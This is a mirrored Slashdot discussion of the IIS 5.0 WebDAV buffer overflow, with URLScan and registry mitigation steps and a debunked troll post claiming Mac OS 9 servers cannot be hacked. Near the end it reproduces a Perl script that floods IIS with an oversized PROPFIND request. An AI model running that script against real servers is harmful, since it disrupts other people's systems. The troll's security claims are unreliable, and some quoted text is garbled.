Slashdot Mirror
WebDAV Buffer Overflow Attack Compromises IIS 5.0
rf0 writes "Well CERT is reporting a new overflow attack for IIS 5.0. Microsoft has released a bulletin. Better download those patches and fix another security hole." According to this CNET story, Microsoft says that this is already being exploited, at the very least since last Wednesday.
WebDAV has been a headache for for a long time, until I decided to just disable it altogther. I realized I never had a purpose for it, personally, so I added the disabling registry key too all my servers. If you know any good that WebDAV does, I'd like to know about it.
Th
It looks like this was the exploit used to hack into an Army machine recently. Check out the link from MSNBC here.
Comment removed based on user account deletion
A-ha! More info posted to NTBugtraq (after my original posting..)
\ Param eters\DisableWebDAV
m eters
a tion:O ut:
x -Depth=250L abel=250
M ax-TimeOut=250a l=250
Quote:
Just to clarify, Microsoft's bulletin states that this vulnerability
could have been prevented using URLScan and/or IISLockdown, but it
isn't really specific on how to do this. Several people have asked me
how this can be done.
The following steps can be used to block the attack:
1. Completely disable WebDAV by setting the
HKLM\SYSTEM\CurrentControlSet\Services\W3SVC
registry key to 1
2. Limit the length of requests (the url and any headers) by setting
the HKLM\SYSTEM\CurrentControlSet\Services\w3svc\para
MaxClientRequestBuffer to something like 16k
3. Block the following WebDAV HTTP verbs using URLScan (either by
specifically blocking them or by not listing them as allowed):
OPTIONS, PROPFIND, PROPPATCH, MKCOL, DELETE, PUT, COPY, MOVE, LOCK,
UNLOCK, OPTIONS, and SEARCH. Note that FrontPage does require the
OPTIONS method to work properly.
4. Block the following WebDAV-related headers using the [DenyHeaders]
section of URLScan.ini:
[DenyHeaders]
DAV:
Depth:
Destin
If:
Label:
Lock-Token:
Overwrite:
Time
TimeType:
DAVTimeOutVal:
Other:
5. If you require WebDAV, you can limit the
length of each individual header with these entries in the
[RequestLimits] section (The exact values are obviously pretty
generic and may need to be increased or decreased based on your
particular configuration):
[RequestLimits]
Max-DAV=250
Ma
Max-Destination=250
Max-If=250
Max-
Max-Lock-Token=250
Max-Overwrite=250
Max-TimeType=250
Max-DAVTimeOutV
Max-Other=250
Microsoft does not specifically state which HTTP Verb and/or header
is affected, but it does say that it is related to WebDAV. I would
therefore assume that setting ACLs on httpext.dll would still be
effective in blocking the attack. The PUT and DELETE methods are
still available in IIS, but only as part of the original HTTP spec,
not part of WebDAV.
Mark Burnett
www.iissecurity.info
I think its ironic that with every remote security hole and exploit, including the few that affect a majority of BSD installations, no one is addressing the fact that there are more secure platforms for webserving. Instead of focusing on the porous unix/linux offerings, or MS weaknesses, such as this recent WebDAV IIS 5.
:
It is a concrete fact that that no MacOS based webserver has ever been hacked into in the history of the internet.
The MacOS running WebStar and other webservers as has never been exploited or defaced, and are are unbreakable based on historical evidence.
In fact in the entire SecurityFocus (BugTraq) database history there has never been a Mac exploited over the internet remotely.
That is why the US Army gave up on MS IIS and got a Mac for a web server.
I am not talking about FreeBSD derived MacOS X (which already had a more than a 32 exploits and potential exploits ) I am talking about current Mac OS 9.x and earlier. Apples Mac OS 9.2.2 is latest and came out rhis last summer. According to Google HTTP requests, Mac OS 9 users outnumber Mac OS X almost 9 to 1. Luckily for them they are all secure.
Why is is hack proof? These reasons
1> No command shell. No shell means no way to hook or intercept the flow of control with many various shell oriented tricks found in Unix or NT. Apple uses an object model for process to process communication that is heavily typed and "pipe-less"
2> No Root user. All Mac developers know their code is always running at root. Nothing is higher (except undocumented microkernel stuff where you pass Gary Davidians birthday into certain registers and make a special call). By always being root there is no false sense of security, and programming is done carefully.
3> Pascal strings. ANSI C Strings are the number one way people exploit Linux and Wintel boxes. The Mac avoids C strings historically in most of all of its OS. In fact even its ROMs originally used Pascal strings. As you know Pascal strings (length prefixed) are faster than C (because they have the length delimiter in the front and do not have to endlessly hunt for NULL), but the side effect is less buffer exploits. Individual 3rd party products may use C stings and bind to ANSI libraries, but many do not. In case you are not aware of what a "pascal string" is, it usually has no null byte terminator.
4> Macs running Webstar have ability to only run CGI placed in correct directory location and correctly file "typed" (not mere file name extension). File types on Macs are not easily settable by users, especially remotely. Apache as you know has had many problems in earlier years preventing wayward execution.
5> Macs never run code ever merely based on how a file is named. ".exe" suffixes mean nothing! For example the file type is 4 characters of user-invisible attributes, along with many other invisible attributes, but these 4 bytes cannot be set by most tool oriented utilities that work with data files. For example file copy utilities preserve launchable file-types, but JPEG MPEG HTML TXT etc oriented tools are physically incapable by design of creating an executable file. The file type is not set to executable for hte hackers needs. In fact its even more secure than that. A mac cannot run a program unless it has TWO files. The second file is an invisible file associated with the data fork file and is called a resource fork. EVERY mac program has a resource fork file containing launch information. It needs to be present. Typically JPEG, HTML, MPEG, TXT, ZIP, C, etc are merely data files and lack resource fork files, and even if the y had them they would lack launch information. but the best part is that mac web programs and server tools do not create files with resource forks usually. TOTAL security.
4> Stack return address positioned in safer location than some intel Osses. Buffer exploits take advantage of loser programmers lack of string length checking and clobber the return address to run
XP Home: No because it doesn't include IIS. XP Pro: Probably not because IIS is not installed by default. Plus this only appears to affect IIS 5.0.
The best way to evaluate this bug is to consider an equivalent attack against competitors. In this case, the main competitor is Apache.
Cracking Apache in this way would not give you root. While you might be able to get root by using some other local exploit, it's not the slam-dunk that it is on Windows.
Furthermore, careful admins can run Apache in a sandbox called a "chroot". Properly set up, this means that the attacker can't get to the rest of the system; all they can play with is the Web site.
So, in summary:
Its all Microsoft's fault. Its crap software.
That's a pretty good assessment. The bug itself is a mistake lots of other people have made, but the severity of the mistake isn't.
I've mounted WebDAV filesystems with my iBook, served by a Solaris machine with Apache and subversion. Even mounts under /Volumes, so programs don't even need to be aware of it; the XP "redirector" would fill this same role. (UNIX people can think "virtual filesystem switch" when you hear "redirector".)
If you just want a DAV filesystem, see mod_dav_fs in any recent Apache. (Which DOES run on Windows, for everyone who wants to toss the OS out with the webserver. Not that I'm a fan of Windows for anything, but you can run non-MS servers on the thing.)
I remember many moons ago, there was a program that could convert ASP to PHP - I wonder if it still exists and how good it is these days if so..?
Are you talking about ASP2PHP over at asp2php.naken.cc? The biggest things it doesn't seem to support are COM objects and MS SQL Server connections, at least according to the FAQ.
Things you think are in the Constitution, but are not.
IIS runs in kernel space? What are you smoking? IIS runs in usermode, however, it runs as local system, which gives you admin rights. This is being changed in IIS6 though, which will allow you to run IIS as a lower-privledged user.
If you have to use IIS for some reason, put a Squid proxy running on your favorite OS in front of it. It will save you a lot of trouble.
You know, if people periodically checked Windows Update, this would not be that big of a deal; additionally, if you have SP3 installed you can tell it to automagically install any critical updates for you without prompting. Case solved.
This post is a lot like the "BSD is dying" troll that's just not going away. Every once in a while some idiot posts it, and a few other idiots moderate it up. Anyway, on to debunking.
The MacOS running WebStar and other webservers as has never been exploited or defaced, and are are unbreakable based on historical evidence.
Really? Is that because it crashed every time someone tried to access it? Considering that MacOS does not even have preemptive multitasking or proper memory protection, it's not that hard to imagine. MacOS has a really nice GUI, but in terms of technology it is behind even Windows 95.
In fact in the entire SecurityFocus (BugTraq) database history there has never been a Mac exploited over the internet remotely.
Hmmm, there are no exploits for DOS either. Are we to conclude that DOS is the most secure OS ever?
No command shell...
BFD! If you gain control of a process (through buffer overflow, for example) and manage to execute your own code, you still have complete control of the system. Heck, the current bug in IIS has nothing to do with exploiting shell.
No Root user.
The troll is only getting better. Ladies and gentlemen, it has come to our attention that the competitors' cars have malfunctioning seatbelts and thus cause injuries to passengers in a collision. Our MacCar has no seatbelts, therefore it is not vulnerable to collisions.
You know, IIS also runs as root (or rather LocalSystem in NT terms). By always running as root there is no false sense of security and programming is done carefully. Doesn't seem to help though...
Pascal strings.... As you know Pascal strings (length prefixed) are faster than C...but the side effect is less buffer exploits
...and they are limited to 255 bytes in length. (For those who did not program in pascal, the first character in the char array represents the length of the string. Since unsigned char's maximum value is 255, that's the maximum length of the string). Anyway, a buffer overflow occurs when you try to write more data than you can fit in the buffer. The only way a compiler could prevent that is if it inserts length checks before every write, and either truncates the string or terminates the program. It's been a loooong time since I touched pascal, so I don't remember how it handles that, but in any case it's irrelevant: is WebStar written in Pascal? In fact, besides some legacy code in MacOS, is anything at all written in Pascal these days?
Macs running Webstar have ability to only run CGI placed in correct directory location and correctly file "typed" (not mere file name extension).
Unix running Apache have ability to only run CGI placed in correct directory location and correctly file "typed" (not mere file name extension). (You can't run some random data).
Macs never run code ever merely based on how a file is named. ".exe" suffixes mean nothing!
Unix never run code ever merely based on how a file is named. ".exe" suffixes mean nothing! (You need to set executable permission first).
but the best part is that mac web programs and server tools do not create files with resource forks usually. TOTAL security.
Yeah, and when I leave the house I put my keys under the rug usually. TOTAL security. I mean who would possibly figure out how to create "resource forks" and such?
Stack return address positioned in safer location than some intel Osses.
That is the property of the hardware, not OS. Do you undestand the distinction?
7> There are less macs, though there are huge cash prizes for cracking into a MacOS based WebStar server (typically over $10,000 US). Less macs means less hacker interest
What happened to 5> and 6>? Were those argument too stupid even by your standards?
Anyway, in this paragraph you are contridicting yourself: on the one hand you are claiming that macs are safer because there is less
___
If you think big enough, you'll never have to do it.
this would be funny, but I doubt most moderators would take the time to decode it so:
' i am already there '
No, it is clear that *you* don't understand security. Specifically:
Please, get a clue.
/mike
-- "So, what's the deal with Auntie Gerschwitz et all?"
MS has a JDBC lib out it seems.s .aspx?Fa milyID=4f8f2f01-1ed7-4c4d-8f7b-3d47969e66ae&Displa yLang=en
http://www.microsoft.com/downloads/detail
A joke, but just so other people are clear other segments of memory are vulnerable to overflows as well:
.bss section: for uninitialized data. In this exploit I smashed a buffer in .bss space that ended up overwriting a function pointer in the .dtors section (IIRC, this was many years ago). Upon exit this function was called and ran a shell.
.data section: for initialized data. In this one I was able to overflow a set of character pointers in the xlock (screensaver) program. By overflowing them with the address of the /etc/shadow file stored in memory we were able to get xlock to dump the contents of the file.
;)
-
-
- heap overflows have been widely exploited in numerous major programs, including the BIND TSig bug.
So don't think you're safe if you're using strcpy's on data not on the stack
* WebDAV is *nothing* like a VPN.
A VPN has end to end encryption that is what makes it secure. Does WebDAV have end to end encryption?
* "using any number of authentication schemes" does not "lock down" anything at all.
If your security depends on authentication schemes you are hosed. You have to have authentication but you also have to have a whole slew of other measures. Which WebDAV does not.
* It doesn't matter if you are running it over HTTP or HTTPS. Both are the wrong protocol to use for filesharing. Just like using SOAP over HTTP(S).
This is because if you are using 80 or 443 then there is no way to control or shut down the file sharing without also shutting down web access. This is a *bad* thing. Also it makes firewall logs useless.
* Web applications are irrevalent to network security.
Your network has to be secure and have a good security policy and then web apps should be made to work within that framework rather than skirt it.
I want to kill whoever redefined "firewall friendly" to mean "tunnels through 80"
Cypherpunks: Civil Liberty Through Complex Mathematics. Those who live by the sword die by the arrow.
Sure, I can't wait to hear it...
- WebDAV is *nothing* like a VPN.
A VPN provides secure access to a remote network via one or more untrusted networks, typically the Internet. Once a VPN is established, the local endpoint has access to the remote networks's resources including, but not limited to, file, mail, directory, print and web servers. Existing protocols such as IMAP, POP, HTTP, LDAP, NFS and SMB can be used over the VPN in a mostly secure and transaprent manner.
WebDAV is an extension to HTTP - The Hypertext Transport Protocol. HTTP is deisgned to transport hypertext (hence it's name) and other media over via TCP. WebDAV provides distributed authoring and publishing extensions to HTTP to allow, amongst other things, remote collaboration. Using WebDAV for a network file system is akin to using FTP for the same. It is a bad idea.
=> WebDAV is nothing like a VPN.
- "using any number of authentication schemes" does not "lock down" anything at all.
- It doesn't matter if you are running it over HTTP or HTTPS. Both are the wrong protocol to use for filesharing. Just like using SOAP over HTTP(S).
Doing everything via HTTP, whether running plain text over port 80, encrypted over port 443 or any other combination is bad practice. One of SOAP's (and WebDAV's) "features" is that it allows you to do stuff over HTTP that would usually otherwise be blocked by a firewall. Want to do RPC? Sure! Just tunnel it through port 80! Want to do file sharing? Sure! Just tunnel it through port 80! This is seriously screwed up. It defeats a primary purpose for which firewalls were invented in the first place; to limit access to dangerous services. Not to mention that using HTTP for everything is a serious architectural design flaw as well.
Putting authentication in front of HTTP and/or tunneling it over SSL does not fix these problems. This IIS exploit du-jour is a perfect example of such.
- Web applications are irrevalent to network security.
A web application should be well designed and implemented, with security in mind. It should be deployed on a network which is properly secured. It should be running on systems which are properly securied. Making a web application secure does not make a network secure (and vice versa). "Irrelevant" is probably a too strong a word, but the security of a network should never be dependent on the security of a web application.
/mike
-- "So, what's the deal with Auntie Gerschwitz et all?"
Test your server...
/>'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;
print "IIS 5.0 propfind\n";
$port = @ARGV[1];
$host = @ARGV[0];
sub vv()
{
$ll=$_[0]; #length of buffer
$ch=$_[1];
$over=$ch x $ll; #string to overflow
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
#$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop ><a:displayname
# ^^^^ This is another issue and also works with length ~>65000
$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname
$l=length($xml);
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,300);
#print "r=".$res;
close $socket;
}
do vv(128008,"V"); # may need to change the length
sleep(1);
do vv(128008,"V");
print "Done.\n";
... and then there were none
"I was ready to uninstall Exchange 2K when I realized users would not be able to function."
The Kolab server is a complete replacement for Exchange2K, and it runs on free operating systems.